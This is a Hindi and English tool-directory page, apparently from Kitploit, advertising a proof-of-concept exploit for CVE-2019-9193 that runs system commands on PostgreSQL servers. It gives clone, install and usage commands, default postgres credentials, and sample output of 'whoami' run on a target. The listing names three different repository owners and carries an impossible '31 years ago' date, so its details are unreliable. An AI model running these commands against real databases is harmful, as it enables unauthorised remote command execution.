Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/jhnhnck/cve-2019-9193
भेद्यता विश्लेषणशोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षाडेटाबेस सुरक्षा
GitHubjhnhnck/cve-2019-9193

CVE-2019-9193

PostgreSQL के कुछ संस्करणों (9.3 - 11.7) में प्रमाणित रिमोट कोड निष्पादन (RCE) भेद्यता का शोषण करने के लिए डिज़ाइन किया गया PoC उपकरण

रिपॉजिटरी देखें
31 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

EN

GenPostgresRCEExploit एक PoC टूल है जो PostgreSQL के कुछ संस्करणों (9.3 - 11.7) में एक प्रमाणित रिमोट कोड निष्पादन (RCE) कमजोरी का शोषण करने के लिए डिज़ाइन किया गया है। यह प्रमाणित उपयोगकर्ताओं को CVE-2019-9193 के प्रति संवेदनशील PostgreSQL डेटाबेस सर्वर पर सिस्टम कमांड निष्पादित करने की अनुमति देता है।

विशेषताएँ

  • RCE का शोषण: एक प्रमाणित PostgreSQL सत्र के माध्यम से सिस्टम कमांड निष्पादित करता है।
  • संस्करण जाँच: कमजोरी की उपस्थिति की पुष्टि करने के लिए लक्ष्य PostgreSQL सर्वर के संस्करण की जाँच करता है।
  • कमांड निष्पादन: यदि सर्वर कमजोर है तो उपयोगकर्ता को सर्वर पर कमांड निष्पादित करने की अनुमति देता है।
  • स्वचालित तालिका प्रबंधन: मैन्युअल हस्तक्षेप के बिना कमांड निष्पादित करने के लिए एक अस्थायी तालिका बनाता और हटाता है।

आवश्यकताएँ

  • Python 3.x
  • PostgreSQL Python लाइब्रेरी (psycopg2 pip से)
  • PostgreSQL लाइब्रेरी हेडर (libpq-dev apt से)

स्थापना

  1. रिपॉजिटरी क्लोन करें:
    root@kitploit:~
    git clone https://github.com/AxthonyV/CVE-2019-9193
    cd CVE-2019-9193
    
  • आवश्यक पैकेज स्थापित करें:
    root@kitploit:~
    pip install -r requirements.txt
    
  • उपयोग

    root@kitploit:~
    python3 GenPostgresRCEExploit.py -i <target_ip> -p <port> -d <database_name> -U <username> -P <password> -c "<system_command>"
    

    विकल्प

    • -i, --ip: PostgreSQL सर्वर का IP पता (डिफ़ॉल्ट: 127.0.0.1)
    • -p, --port: PostgreSQL सर्वर पोर्ट (डिफ़ॉल्ट: 5432)
    • -d, --database: PostgreSQL डेटाबेस का नाम (डिफ़ॉल्ट: template1)
    • -U, --user: PostgreSQL सर्वर से कनेक्ट करने के लिए उपयोगकर्ता नाम (डिफ़ॉल्ट: postgres)
    • -P, --password: PostgreSQL सर्वर से कनेक्ट करने के लिए पासवर्ड (डिफ़ॉल्ट: postgres)
    • -c, ---command: सर्वर पर निष्पादित किया जाने वाला सिस्टम कमांड
    • -t, --timeout: सेकंड में कनेक्शन टाइमआउट (डिफ़ॉल्ट: 10)

    उदाहरण

    root@kitploit:~
    python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d mydb -U myuser -P mypass -c "whoami"
    

    यह उदाहरण 192.168.1.10 पर PostgreSQL सर्वर से कनेक्ट होता है, दिए गए प्रमाण-पत्रों से प्रमाणित होता है, और whoami कमांड निष्पादित करता है।

    उदाहरण आउटपुट

    root@kitploit:~
    $ python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d testdb -U postgres -P mypassword -c "whoami"
    
    [+] Connection to PostgreSQL database at 192.168.1.10:5432
    [+] Connection successfully established
    [+] PostgreSQL version check
    [+] Vulnerable PostgreSQL version detected: 10.4
    [+] Temporary table creation: temp_3f8b8f9e2c9c11d7bd8f7c61d4e9eaf2
    [+] Command successfully executed
    
    postgres
    

    अस्वीकरण

    यह टूल केवल शैक्षिक उद्देश्यों और नैतिक परीक्षण के लिए है। किसी भी सिस्टम के खिलाफ इस टूल का अनधिकृत उपयोग अवैध है और सख्ती से प्रतिबंधित है। लेखक किसी भी दुरुपयोग के लिए जिम्मेदार नहीं हैं।

    RU

    GenPostgresRCEExploit is a PoC exploit designed to exploit remote code execution (RCE) vulnerability in certain versions of PostgreSQL (9.3 - 11.7). The program allows authenticated users to execute system commands on a PostgreSQL server vulnerable to CVE-2019-9193.

    Features

    • Exploit RCE: Execute system commands over an authenticated connection to PostgreSQL.
    • Version Check: Checks the version of the target PostgreSQL server for vulnerabilities.
    • Command Execution: Allows arbitrary commands to be executed on the server in the presence of a vulnerability.
    • Table Management: Automatically creates and deletes a temporary table for command execution.

    Requirements

    • Python 3.x
    • PostgreSQL client library (psycopg2 package)

    Installation

    1. Clone the repository:
      root@kitploit:~
      git clone https://github.com/geniuszly/CVE-2019-9193
      cd CVE-2019-9193
      
    2. Install the required packages:
      root@kitploit:~
      pip install -r requirements.txt
      

    Usage

    root@kitploit:~
    python3 GenPostgresRCEExploit.py -i <IP address> -p <port> -d <database_name> -U <user> -P <password> -c "<system_command>"
    

    Options

    • -i, --ip: IP address of PostgreSQL server (Default: 127.0.0.1)
    • -p, --port: PostgreSQL server port (Default: 5432)
    • -d, --database: PostgreSQL database name (Default: template1)
    • -U, --user: Username to connect to the PostgreSQL server (Default: postgres)
    • -P, --password: Password to connect to PostgreSQL server (Default: postgres)
    • -c, --command: System command to execute on the server
    • -t, --timeout: Connection timeout in seconds (Default: 10)

    Example

    root@kitploit:~
    python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d mydb -U myuser -P mypass -c "whoami"
    

    In this example, the program connects to the PostgreSQL server at 192.168.1.10, authenticates with the specified credentials, and executes the whoami command.

    Example output

    root@kitploit:~
    $ python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d testdb -U postgres -P mypassword -c "whoami"
    
    [+] Connection to PostgreSQL database at 192.168.1.10:5432
    [+] Connection successfully established
    [+] PostgreSQL version check
    [+] Vulnerable PostgreSQL version detected: 10.4
    [+] Temporary table creation: temp_3f8b8f9e2c9c11d7bd8f7c61d4e9eaf2
    [+] Command successfully executed
    
    postgres
    

    Disclaimer

    This tool is for educational purposes and legal testing only. Unauthorized use of this tool against any systems is illegal and strictly prohibited. The authors are not responsible for any misuse.

    टूल डाउनलोड करें